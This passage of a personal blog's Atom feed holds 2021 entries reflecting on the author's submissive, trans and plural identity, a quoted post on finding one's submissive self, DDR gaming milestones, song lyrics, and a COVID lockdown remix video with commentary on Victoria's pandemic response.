&lt;p&gt;For as long as I can recall. My very first long-form creative writing endeavour (age 7) was an obvious self-insert; an anthropomorphic rabbit, kept. Collared in all but name; a wrist cuff, unable to be removed. In a cell, somewhere far away.&lt;/p&gt;
&lt;p&gt;Fantasies of being like Mewtwo in the first Pokémon movie, kept in a lab somewhere, never let out. Actually trying to roleplay that out at a friend’s once (age 9ish). He thought I was weird. I guess he was right. We stopped hanging out.&lt;/p&gt;
&lt;p&gt;There was the time I had a different, much closer friend &lt;em&gt;literally&lt;/em&gt; tie me to his bed (age 13; what we had on hand to effect this purpose was, uh, socks). Cue EXTREME scrambling to cover this up somehow when his mother well-intendingly burst in at the late hour that it was. I should ask him what he made of my asking to do that at the time.&lt;/p&gt;
&lt;p&gt;Hell, it’s not a stretch to see it in the way I’d given myself to romantic relationships up until a few years back. Total abnegation of the self. The subconscious rebels, though, because what I want to give is not even what the most possessive of my partners wanted to take. Not that I really had a clue about myself then, either; it was all these strange, wordless longings, and they’d seem to contradict themselves in ways I couldn’t grasp.&lt;/p&gt;
&lt;p&gt;The most frustrating thing was always myself, in the end.&lt;/p&gt;
&lt;p&gt;This quest for self-knowledge in earnest has been apace for more than 18 months, now, and I think we’re approaching the last crescendo before the home stretch. Not to suggest I’ll be ever truly &lt;em&gt;finished&lt;/em&gt; with it, by any means, but once I’ve found it — once I’ve locked eyes with my soul and &lt;em&gt;listened&lt;/em&gt; — I suspect that same, once-eternal dread of facing up to what I’ve made for myself will no longer feature.&lt;/p&gt;
&lt;p&gt;And maybe I’ll find myself a keeper or two.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>summarised</title>
    <updated>2021-04-30T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/04/30/summarised</id>
    <link href="https://kivikakk.ee/2021/04/30/summarised" />

    <content type="html">&lt;p&gt;For me, the pleasure comes out of being obedient, and doing it really well; being used for others’ pleasure, and putting in a lot of effort.&lt;/p&gt;
&lt;p&gt;At the moment I find a lot of pleasure in the idea of, I guess, being someone who holds herself in pretty high regard, but is regardless so willing to be used and to devote herself to that, if that makes sense. There’s a kind of humiliation in that which makes me super blush-y to think about.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>submission</title>
    <updated>2021-04-27T03:49:00Z</updated>
    <id>https://kivikakk.ee/xue/2021/04/27/submission</id>
    <link href="https://kivikakk.ee/2021/04/27/submission" />

    <content type="html">&lt;p&gt;&lt;a href=&quot;https://slaveshae.wordpress.com/2021/04/26/finding-your-submissive-self/&quot;&gt;“finding your submissive
self”&lt;/a&gt;
by shae hits so hard it &lt;em&gt;hurts&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Transcluding here for our future study and contemplation, emphases mine.  The
degree to which most of this is felt is unreal.&lt;/p&gt;
&lt;p&gt;(The one exception is vis-à-vis degradation, but that’s not something I feel an
acute absence of, but rather a questionmark regarding.  There’s a big extent to
which I wonder how much I inhibit my own desires due to internalised shame —
it’s not something I feel on the surface, nor is it an emotionality most would
associate with our public personae.&lt;/p&gt;
&lt;p&gt;So it’s not that I don’t desire degradation, or that I do; not that I don’t
know shame, or that I do.  Just that I have no insight into it one way or
another.  What &lt;em&gt;does&lt;/em&gt; resonate in that part is reference to needing that which
I would protest to; indeed, one of my peak submission experiences so far was
one in which I was helplessly trying to object to what was happening, so much
so that my body was acting under its own will, trying to push away the
dominant; me, awkwardly trying to tell her that despite this, I wanted her to
continue.)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Recently I’ve used this phrase in some of my posts. I thought I might look at
“finding your submissive self” through the lens of my own life.&lt;/p&gt;
&lt;p&gt;I’m going back about eight years to a time before I was in a D/s life. I was
in my real estate career, living a very vanilla life, dissatisfied and not
sure what to do. I had been aware for some time that I was submissive, though
naïve about it, but &lt;strong&gt;now I was beginning to think about it as more
significant in me than I’d realized before.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I made a lot of mistakes in my early exploration of my submissive sexuality,
but maybe this was something I did right: I dedicated time to assess my
submissive feelings and inclinations — sort of a personal, submissive
inventory. &lt;strong&gt;I really focused on it&lt;/strong&gt;. That sounds so Tony Robbins, but for
me it was less of a self-improvement technique than an inner exploration
about strange desires I just needed to figure out.&lt;/p&gt;
&lt;p&gt;Probably the most obvious thing to me then was my &lt;strong&gt;persistent longing to be
obedient in an extreme way&lt;/strong&gt;. I couldn’t make sense of that, but I knew it
was there in me. “Obedience” to me &lt;strong&gt;wasn’t simply about being a follower&lt;/strong&gt;,
nor was it about being, say, a housewife in the old traditional sense,
deferring passively to a husband. My longing was something else, deeper and
more extreme. Of course back then my definition of “extreme” was more modest
than I consider it now, but even then I had a clear sense that my longing
required something beyond normal.&lt;/p&gt;
&lt;p&gt;I remember being at parties with real estate colleagues, sitting and sipping
cocktails. &lt;strong&gt;A particular man there, just by his presence, compelled certain
submissive feelings in me&lt;/strong&gt;. I remember having a longing to sit on the floor
at his feet. In the social context there that would have been so
inappropriate and odd, yet I wanted that, maybe &lt;strong&gt;precisely because it would
have been a socially embarrassing demonstration of my obedience&lt;/strong&gt;. I didn’t
even know the man.&lt;/p&gt;
&lt;p&gt;I realized as well that my submissiveness also involved the desire to be
taken into experiences I never could or would take myself. At the time, I
couldn’t specifically identify what those experiences were — I was too new to
it all. But &lt;strong&gt;I had a palpable sense that I needed someone to command my
being and push me into life events of doing and being that were otherwise
beyond me&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;At the time, I was also going through a kind of sexual awakening. I’ve
written many times about how my sexual development was repressed in my early
years, and so I was at twenty-seven just beginning to open up sexually to who
I was. This led to a brief but serious relationship with a man and also a
girl-crush on a colleague of mine, which led to my first sexual relationship
with a woman.&lt;/p&gt;
&lt;p&gt;But I was given advice from someone, I forget who, to imagine my
submissiveness apart from my sexuality and any sexual experience. D/s, it was
said to me, is not about sex, but about a radical abandonment of one’s self
to another’s dominion. The point was that as I assessed my submissive self,
would I still feel what I felt submissively if I took sexual attraction and
sex itself out of the picture?&lt;/p&gt;
&lt;p&gt;As I worked this through, my answer was yes. That desire to be “taken into
experiences I never could or would take myself” was not primarily, to my
mind, about sex. I could imagine sexual things, yes, but &lt;strong&gt;it was for me
really about a different kind of relationship in which I was treated in a
non-traditional way, taken into life experiences of submission and
obedience&lt;/strong&gt; — again, admittedly, vague and undefined. My submissiveness just
had a craving sense these “other experiences” awaited me out there.&lt;/p&gt;
&lt;p&gt;The further realization I came to was troubling to me. But it was strong and
unavoidable. It was, simply, a strong wish for my own degradation.&lt;/p&gt;
&lt;p&gt;What I didn’t know then, but believe now, is that this is possibly the core
of submissive psychology. &lt;strong&gt;My submissive desire was to be humiliated and
degraded&lt;/strong&gt;. I didn’t feel this to be a kind masochism, a “hurt so good”
desire.  It was different. &lt;strong&gt;It was something I would likely protest and
object to in reality, yet something I knew I somehow needed&lt;/strong&gt;. Again it was
ambiguous as to what and how (indeed, in my writing now, I’m still trying to
figure this out), but it was a strong, driving submissive desire in me.
Troubling but true.&lt;/p&gt;
&lt;p&gt;There were other things too, other evidences, &lt;strong&gt;such as how dominance in
persons across a crowded room would somehow melt me, and how I started to
imagine myself in a kind of servitude to particular men or women&lt;/strong&gt;.
Traditional people’s fantasies look like a Hallmark movie, mine looked like
“The Story of O.”&lt;/p&gt;
&lt;p&gt;It took a long time. I was sorting out my life in a handful of different ways
— my relationship with my mother and my father, my beliefs and faith, my
bisexuality, my career and why it was disappointing… and now this, my
submissive nature, which started to loom as a bigger reality in my life than
any of the others.&lt;/p&gt;
&lt;p&gt;My “submissive self-assessment inventory” took me about a year and a half. It
was never so formal a project as that, but that’s kind of what it was. It
yielded the self-revelations I share here, but slowly and often messily.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;At a point, I started to accept my being submissive&lt;/strong&gt;. And then &lt;strong&gt;becoming
open to being &lt;em&gt;extremely&lt;/em&gt; submissive&lt;/strong&gt;. And then &lt;strong&gt;allowing myself to
identify primarily as &lt;em&gt;a submissive&lt;/em&gt;, taking on the label, allowing myself to
be defined by it&lt;/strong&gt;: “My name is Shae and I’m a submissive.”&lt;/p&gt;
&lt;p&gt;There were still questions for me to figure out. Namely would my submissive
identity need to be a full-time life? And then, how to find a dominant person
who would take me places I couldn’t take myself.&lt;/p&gt;
&lt;p&gt;But I came to this point when I was twenty-eight where I could say I found my
submissive self. I knew this is what I was.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Do I know what I am?&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>You Got Me</title>
    <updated>2021-04-27T00:00:00Z</updated>
    <id>https://kivikakk.ee/2021/04/27/you-got-me</id>
    <link href="https://kivikakk.ee/2021/04/27/you-got-me" />

    <content type="html">&lt;center&gt;&lt;iframe style=&quot;border: 0; width: 350px; height: 442px;&quot; src=&quot;https://bandcamp.com/EmbeddedPlayer/track=3439825641/size=large/bgcol=333333/linkcol=fe7eaf/tracklist=false/transparent=true/&quot; seamless&gt;&lt;a href=&quot;https://tanoc.bandcamp.com/track/you-got-me&quot;&gt;You Got Me by USAO &amp;amp; Shandy Kubota&lt;/a&gt;&lt;/iframe&gt;&lt;/center&gt;</content>

  </entry>

  <entry>
    <title>vacillation</title>
    <updated>2021-04-27T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/04/27/vacillation</id>
    <link href="https://kivikakk.ee/2021/04/27/vacillation" />

    <content type="html">&lt;p&gt;We waver—between passivity and anger, steeped rich in disappointment; between a resignation blended with hope that this could be enough, and a rejection, filled with the knowledge that we are worth more than this.&lt;/p&gt;
&lt;p&gt;It is hard to know whose is whose.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>occlusion II</title>
    <updated>2021-04-27T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/04/27/occlusion-ii</id>
    <link href="https://kivikakk.ee/2021/04/27/occlusion-ii" />

    <content type="html">&lt;p&gt;I suspect the answer is “submission”, “submissiveness”, or even “being a submissive”—not just an occasional partaker of, but as core.&lt;/p&gt;
&lt;p&gt;What am I if not someone that earnestly desires?&lt;/p&gt;
&lt;p&gt;Fuck, man. Those words formed themselves without my input. There we were, not long ago at all, contending with the issue of having no contact with our desires, of not knowing at all. There’s embers smouldering under wraps, and I think it is f i n a l l y time to fan those flames fully.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What, if accepted, would let me go even further in my quest for self-knowledge?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I’m inclined to believe that all my identity labels can be bound up in one another; that each can be a lens unto the others. If it’s not obvious, it probably just means there’s a surprising takeaway to be found. I don’t mean to be dogmatic about it, but let’s run with it and see? Quoting our homepage:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Trans. Well, this one’s kind of obvious. (You have to admit some gender essentialism, but this kind of &lt;del&gt;lens work&lt;/del&gt; necessarily admits essentialism on every axis it looks at. I think that’s unavoidable.) tl;dr: gender, with all of its norms, ascribes submissive, obedient behaviour to one of its two main categories. Doesn’t take much thinking to realise which. If I were born cis, I don’t think I’d be trans. (Which is a funny way of validating my transition choices, really.)&lt;/li&gt;
&lt;li&gt;Plural. Developing plurality gave my identity the flexibility and leeway it needed to lean into new spheres. A lot of our internal work has been developing an internal sense of obedience; of testing out and playing with the idea of one of us (Ashe) being subservient to the other (Lia). Wherein Lia’s been acting as the frontrunner of our identity, this inner-play has been one way of promoting behaviour in the main front, Ashe; the identity we desire to embrace is that of a submissive, and so we provide space within for Ashe to submit. Lia’s dominance isn’t fake, but it’s also not the goal here; it’s a scaffold. Frontrunning is complex; here it’s closer to shaping.&lt;/li&gt;
&lt;li&gt;Poly. This basically indexes “non-traditional relationship style”. I think the Venn diagram of relationship escalators and compatibility with the depths of my submissiveness are two completely separate circles.&lt;/li&gt;
&lt;li&gt;Furry. I’m a fucking bunny. This identifier alone got us into our only actual correctly-oriented D/s relationship so far—“so, the bunny thing written on your AD account… is that like, a kink, rope-bunny thing? or a furry thing?” “well.. I only really meant the latter when I wrote it, but the former too now that I think about it?” nek minit I’m tied up on her living room floor.&lt;/li&gt;
&lt;li&gt;Asexual. This has taken quite some time to resolve completely, but exploring it in depth has provided clues, maybe even answers. Asexual as in “doesn’t experience sexual attraction”, yes. But even a hint of dominance, of assertion, of even just &lt;em&gt;presuming&lt;/em&gt; that part of me might be yours to take, and I am suddenly extremely, intensely needy. As with almost every part of my self that I’ve come to embrace, “subsexual” is the kind of term I would have scoffed at even just months ago. Now I think it’s probably the closest thing to a ‘sexual orientation’ I might possess. I get turned on by submission, by obedience, by enforced compliance; by boundaries disregarded in a wider context of consent. By accepting what I am; by being brought to that acceptance.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We’ve a lot to contemplate.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>MAX 300</title>
    <updated>2021-04-24T00:00:00Z</updated>
    <id>https://kivikakk.ee/2021/04/24/max-300</id>
    <link href="https://kivikakk.ee/2021/04/24/max-300" />

    <content type="html">&lt;p&gt;&lt;a href=&quot;https://remywiki.com/MAX_300&quot;&gt;MAX 300&lt;/a&gt; was the first&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-sakura&quot; id=&quot;fnref-sakura&quot; data-footnote-ref&gt;1&lt;/a&gt;&lt;/sup&gt; level 10
song I cleared at the arcade.  I learned to play DDR with my older brother; I
distinctly recall the sensation of finally being better than him at a
game—whether it was Descent, StarCraft, anything, he always had such a lead.&lt;/p&gt;
&lt;p&gt;I started DDR a bit later than him and had some catching up to do, but
eventually crossed the level 9 mark before he did.  It turned out rhythm games
would be a good place for me to excel.&lt;/p&gt;
&lt;p&gt;He lives overseas now, and at some point got an &lt;a href=&quot;https://www.maty-taneczne.pl&quot;&gt;L-TEK DDR
pad&lt;/a&gt;.  I was a bit envious, but felt the shipping
expense—far worse to Australia than the US—was too hard to justify.
Pandemic closing the gym made it muuuuuch more palatable, and plus it’d mean
I’d get to play DDR with my brother again in a way.&lt;/p&gt;
&lt;p&gt;It’s been a very good way to get fit again, and hitting old milestones again is
a lot of fun.  I’ve done some other harder ones already, but today was the day
for clearing MAX&lt;nobr&gt; &lt;/nobr&gt;300 again.  My scores are &lt;em&gt;much&lt;/em&gt; better than my
13-year-old self’s, even though my endurance isn’t.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/max-300.jpg&quot; alt=&quot;MAX 300 score (87.23%)&quot; /&gt;&lt;/p&gt;
&lt;section class=&quot;footnotes&quot; data-footnotes&gt;
&lt;ol&gt;
&lt;li id=&quot;fn-sakura&quot;&gt;
&lt;p&gt;Not counting 桜 or bag here. &lt;a href=&quot;#fnref-sakura&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;1&quot; aria-label=&quot;Back to reference 1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content>

  </entry>

  <entry>
    <title>mouii</title>
    <updated>2021-04-23T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/04/23/mouii</id>
    <link href="https://kivikakk.ee/2021/04/23/mouii" />

    <content type="html">&lt;p&gt;I’m fucking sick of feeling like I’m talking past everyone; like none of my words actually register.&lt;/p&gt;
&lt;p&gt;I don’t know if it’s this pandemic or what, but so decreasingly do I get the impression anyone cares to actually see me, to communicate soul to soul, real living being to real living being. (My nestmate is a beautiful exception, but then that’s why we’ve endured as we have.)&lt;/p&gt;
&lt;p&gt;I’ve had it with lowering the bar. Fucking get on my level.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>recapitulating</title>
    <updated>2021-04-21T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/04/21/recapitulating</id>
    <link href="https://kivikakk.ee/2021/04/21/recapitulating" />

    <content type="html">&lt;p&gt;Cleared PARANOIA survivor (new 15, old 10) again today. After re-clearing Utopia (11 from ITG) a week ago, I think I’m finally up to where I was a decade and a half ago!&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>cycles</title>
    <updated>2021-04-19T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/04/19/cycles</id>
    <link href="https://kivikakk.ee/2021/04/19/cycles" />

    <content type="html">&lt;p&gt;There’s something distinctly cyclical about how I’m relating to others and my goals at the moment and I don’t know how to attribute it.&lt;/p&gt;
&lt;p&gt;Energy for creative output has waned — just wanna play games. Don’t care to see others or meet new people. I’m at the tail end of my P cycle so we’ll see what it’s like later this week when I’m off that again. I have quite a lot of socialising coming up and I want to be there for it, otherwise it’s gonna get annoying.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>inscrutability</title>
    <updated>2021-04-06T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/04/06/inscrutability</id>
    <link href="https://kivikakk.ee/2021/04/06/inscrutability" />

    <content type="html">&lt;p&gt;Sometimes I wonder if I let myself get pushed or pulled around by dreams too much, but there’s something appealing about the inscrutability of allowing yourself to follow a path that’s been opened up for you, rather than demanding to try to understand one’s every little motive.  Most of our reasoning’s made up post-hoc anyway, right?&lt;/p&gt;
&lt;p&gt;(quoted from an email I sent a little while ago)&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>impinged</title>
    <updated>2021-04-04T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/04/04/impinged</id>
    <link href="https://kivikakk.ee/2021/04/04/impinged" />

    <content type="html">&lt;p&gt;Feeling miffed at someone’s suggestion that I wouldn’t be committed to communication, ‘as a sub’.&lt;/p&gt;
&lt;p&gt;There are lots of reasons why this would miff me so!, but, to demonstrate the most pertinent one, the rest of this entry will detail the entirety of the communications I have received from them so far.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>one step forward</title>
    <updated>2021-04-02T05:46:00Z</updated>
    <id>https://kivikakk.ee/xue/2021/04/02/one-step-forward</id>
    <link href="https://kivikakk.ee/2021/04/02/one-step-forward" />

    <content type="html">&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=xe3Wkzc0O3k&quot;&gt;One Step Forward — Nhato feat. Glascat&lt;/a&gt; (&lt;em&gt;transcribed for Vivian&lt;/em&gt;)&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube-nocookie.com/embed/xe3Wkzc0O3k&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;Oh, oh&lt;/p&gt;
&lt;p&gt;There is something strange inside my head&lt;br /&gt;
Something turns and runs from me&lt;br /&gt;
If I look back now what would I see there following?&lt;/p&gt;
&lt;p&gt;Can I withstand it and make it through to the light?&lt;br /&gt;
If I turn back now then this will always follow&lt;/p&gt;
&lt;p&gt;There is something strong inside my heart&lt;br /&gt;
Something deep, unwavering&lt;br /&gt;
If I breathe in now then I can’t find that part of me&lt;/p&gt;
&lt;p&gt;Can I demand it and make it last through the night?&lt;br /&gt;
If I wake up now then I can’t find the future&lt;/p&gt;
&lt;p&gt;Oh, oh&lt;br /&gt;
Oh, one step forward, forward&lt;br /&gt;
Oh, oh&lt;br /&gt;
Oh, one step forward, forward&lt;/p&gt;
&lt;p&gt;Oh, oh&lt;br /&gt;
Oh, one step forward, forward&lt;/p&gt;
&lt;p&gt;‘cause the fear will take me if I let it in&lt;br /&gt;
I must not, I must not, I must not, I must not let it in&lt;br /&gt;
And the light will make me if I reach the end&lt;br /&gt;
I will go, I will go, I will go, until it shines again&lt;/p&gt;
&lt;p&gt;‘cause the fear will take me if I let it in&lt;br /&gt;
I must not, I must not, I must not, I must not let it in&lt;br /&gt;
And the light will make me if I reach the end&lt;br /&gt;
I will go, I will go, I will go, until it shines again&lt;/p&gt;
&lt;p&gt;Oh, oh&lt;br /&gt;
Oh, one step forward, forward&lt;br /&gt;
Oh, oh&lt;br /&gt;
Oh, one step forward, forward&lt;/p&gt;
&lt;p&gt;Oh, oh&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>pull</title>
    <updated>2021-03-31T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/03/31/pull</id>
    <link href="https://kivikakk.ee/2021/03/31/pull" />

    <content type="html">&lt;p&gt;I had a great deal of energy pushing me toward working on a kernel project after I came off the mood stabiliser. Having readded some testosterone to the mix, and..&lt;/p&gt;
&lt;p&gt;The energy remains in some sense, and I &lt;em&gt;could&lt;/em&gt; choose to devote it to the kernel, but I feel more inclined to simply be helpful on Discord to newcomers, and then put my energy toward language learning.&lt;/p&gt;
&lt;p&gt;toki pona seems fun, but watching the conversations going on in ma pona it’s clear that its function is (intentionally) limited. I yearn for something greater, wider, deeper; of a depth not decided by the conventions that can only arise from mutual conversation with those present, but one with its roots thrust into the past.&lt;/p&gt;
&lt;p&gt;Russian I continue to learn at the speed of my nestmate, so I will rededicate the energy I have now toward the language of my ancestors; mu emakeel, so to speak.&lt;/p&gt;
&lt;p&gt;I thought to resist the pull, but following it has been fruitful lately, so I’ll continue to let it guide me xx&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>occlusion</title>
    <updated>2021-03-31T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/03/31/occlusion</id>
    <link href="https://kivikakk.ee/2021/03/31/occlusion" />

    <content type="html">&lt;p&gt;I was contemplating (intentional/endogenous) plural identity formation, and it occurred to me how much in common the mindstates before and after have with trans identity formation.&lt;/p&gt;
&lt;p&gt;When I think back to who I was before I’d really accepted myself as being trans, I had all the usual hangups: what if I’m faking it, what if it’s not actually better, what if it’s grass-is-greener, what will my family/friends think, etc. etc.  There was something basically obscuring it, and yet — while many aspects of my material reality have surely shifted in the decade since — internally the changes are not huge.  The most prominent one is simply identification; a willingness to see the self through a given lens, followed by the confirmatory euphoria of knowing truth.&lt;/p&gt;
&lt;p&gt;There’s nothing fundamentally different about questioning-me and knowing-me, just a change in what I’m &lt;em&gt;willing to accept about myself&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;It was much the same with plurality.  It had long made sense as a means of better understanding my self, but before you cross the gap (which really takes place in lots of little ways, rather than one leap, but some of the little ways are bigger than others), doubt fills your mind and occludes those moments of recognisance.  Even though it “made sense” even stronger was the sense that it was generally thought to be a faked phenomenon (sound familiar?), one with no real value other than to seek attention.&lt;/p&gt;
&lt;p&gt;I wonder just how many possibly useful lenses are hidden this way; in general, and for my selves specifically.  What, if accepted, would let me go even further in my quest for self-knowledge?&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>blocked</title>
    <updated>2021-03-31T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/03/31/blocked</id>
    <link href="https://kivikakk.ee/2021/03/31/blocked" />

    <content type="html">&lt;p&gt;I’m incredibly blocked at work.&lt;/p&gt;
&lt;p&gt;&lt;del&gt;Circumstances&lt;/del&gt; mean that there’s a large drain on motivation, and the piece of work I’m up to right now I haven’t really budged from in weeks. Months? Working part-time has its benefits, also its downsides.&lt;/p&gt;
&lt;p&gt;How much longer can this go on?&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>longing</title>
    <updated>2021-03-29T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/03/29/longing</id>
    <link href="https://kivikakk.ee/2021/03/29/longing" />

    <content type="html">&lt;p&gt;I dreamt of her, fractally.&lt;/p&gt;
&lt;p&gt;I dream of her often enough, but lately the edge had been taken off, no heavy meaning invested, instead accompanied by a casual lightness that never really graced our actual relationship with its presence.&lt;/p&gt;
&lt;p&gt;This time, though, it was her, her, her, and me, apologising, reaching through one dream and into the next to try to make contact, to establish some connection, to get the message through that I wished more than anything it hadn’t gone that way. In one level she had bleached her hair, same as me; we were dancing in a circle and Niki (?) pointed her out to me, just behind me.&lt;/p&gt;
&lt;p&gt;At the end of the dream I was apologising to Niki, saying I needed to go out on a motorcycle ride with her at short notice, having finally reconnected.&lt;/p&gt;
&lt;p&gt;Ugh.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>As best we can tell, the pub is shut</title>
    <updated>2021-03-29T00:00:00Z</updated>
    <id>https://kivikakk.ee/2021/03/29/as-best-we-can-tell-the-pub-is-shut</id>
    <link href="https://kivikakk.ee/2021/03/29/as-best-we-can-tell-the-pub-is-shut" />

    <content type="html">&lt;p&gt;I was alerted by a commenter that it’s been more than a year, now, since this
video dropped:&lt;/p&gt;
&lt;center&gt;&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/83cEEyTuAMM&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/center&gt;
&lt;p&gt;COVID measures had already begun to be implemented; national borders shut, most
schools already closed.  Watching this press conference, &lt;a href=&quot;https://www.youtube.com/watch?v=SqDP8SnPVA0&quot;&gt;a scene from The
Simpsons&lt;/a&gt; played in my mind.  I’d
been getting a little comfy with a video editing program to record &lt;a href=&quot;https://www.youtube.com/watch?v=8tzZYDXHHG4&quot;&gt;IIDX
plays&lt;/a&gt;, so I gave it a crack.&lt;/p&gt;
&lt;p&gt;I don’t really have networks to tap, but Niki liked it so much she diligently
dropped it into comments on Facebook and Twitter replies wherever it seemed
appropriate.  Before I knew it, I had a moderately popular YouTube video.  It
entered the popular discourse when it was &lt;a href=&quot;https://www.youtube.com/watch?v=7hOK5JF5XGA&quot;&gt;further
remixed&lt;/a&gt;, but if you ask me, the
Trump oversamples are just kinda gross.&lt;/p&gt;
&lt;p&gt;One thing that’s been interesting to see has been how the popularity of the
video corresponded with (literally) viral events:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/views.png&quot; alt=&quot;A graph showing the views for the video&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The three major events were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Late March, video released, Dan Andrews said “get on the beers”.&lt;/li&gt;
&lt;li&gt;Mid-May, first lockdown restrictions eased.&lt;/li&gt;
&lt;li&gt;&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;October 26, Victoria recorded zero new cases/deaths for the
first time since June.  Dan reported that he “might go a little higher up the
shelf” than beers.&lt;/li&gt;
&lt;/ul&gt;
&lt;!--more--&gt;
&lt;hr /&gt;
&lt;p&gt;Daniel Andrews, Victoria’s Premier, is widely liked, and he’s largely been
credited with producing the results we’ve had locally, the likes of which have
only really been seen in Taiwan, New Zealand and Singapore.  We’ve had our
share of anti-lockdown protests, too, but overall the sentiment has been that
Victorians have been willing to accept discomfort up front to mitigate a
disaster later.&lt;/p&gt;
&lt;p&gt;Sharing this video online more recently has had some interesting reactions;
namely, Americans being like “lol government interference!!!”  Melbourne’s
second lockdown was 112 days long (July 9 until October 28), and it was
challenging in its own ways, and for some very difficult.  I don’t seek to deny
that, but the practical upshot has been a few dozen cases in the last six
months.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/community.png&quot; alt=&quot;Graph from covid19data.com.au showing community spread of COVID in Victoria&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It’s a fucking pandemic.  You don’t just ask everyone nicely to please do the
right thing, because that’s not human beings work at the population level.  If
you &lt;em&gt;actually&lt;/em&gt; want to beat it, you need to be realistic about what works.
Ideals fall flat in the face of an airborne pathogen.  If there are any doubts
about that, please consult &lt;a href=&quot;https://coronavirus.jhu.edu/map.html&quot;&gt;the big red number at the top
left&lt;/a&gt;.  Empirically, government
interference gets it done&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-hif&quot; id=&quot;fnref-hif&quot; data-footnote-ref&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Someone in chat a couple weeks back lamented how they wish they could go out
again like normal, and I didn’t have the heart to tell them that I had been for
nearly half a year now, safely; I just said, “in some places in the world you
can.  soon!”  Y’know, vaccinations proceeding apace and all that.&lt;/p&gt;
&lt;p&gt;Another person agreed, saying Japan was reopening for dine-in in a couple
weeks, and the first said how much they wished the borders were open so they
could visit.  Japan reported 2,080 new cases this weekend, a steady increase
from the most recent low 7-day average of ~900 in early March.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/japan.png&quot; alt=&quot;Japan’s graph&quot; /&gt;&lt;/p&gt;
&lt;p&gt;That’s not what I meant.&lt;/p&gt;
&lt;section class=&quot;footnotes&quot; data-footnotes&gt;
&lt;ol&gt;
&lt;li id=&quot;fn-hif&quot;&gt;
&lt;p&gt;Never mind the fact that, say, Australia and New Zealand both rank higher in the &lt;a href=&quot;https://www.cato.org/human-freedom-index/2020&quot;&gt;Human Freedom Index&lt;/a&gt; than the US—what matters is how you feel when you say it! &lt;a href=&quot;#fnref-hif&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;1&quot; aria-label=&quot;Back to reference 1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content>

  </entry>

  <entry>
    <title>hostility</title>
    <updated>2021-03-25T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/03/25/hostility</id>
    <link href="https://kivikakk.ee/2021/03/25/hostility" />

    <content type="html">&lt;p&gt;Maybe it’s just the elevated T levels lately, but god if I don’t feel a lot of animosity towards certain behaviours.&lt;/p&gt;
&lt;p&gt;There’s this one guy who’s just joined a programming language community, and like:&lt;/p&gt;
&lt;ul&gt;
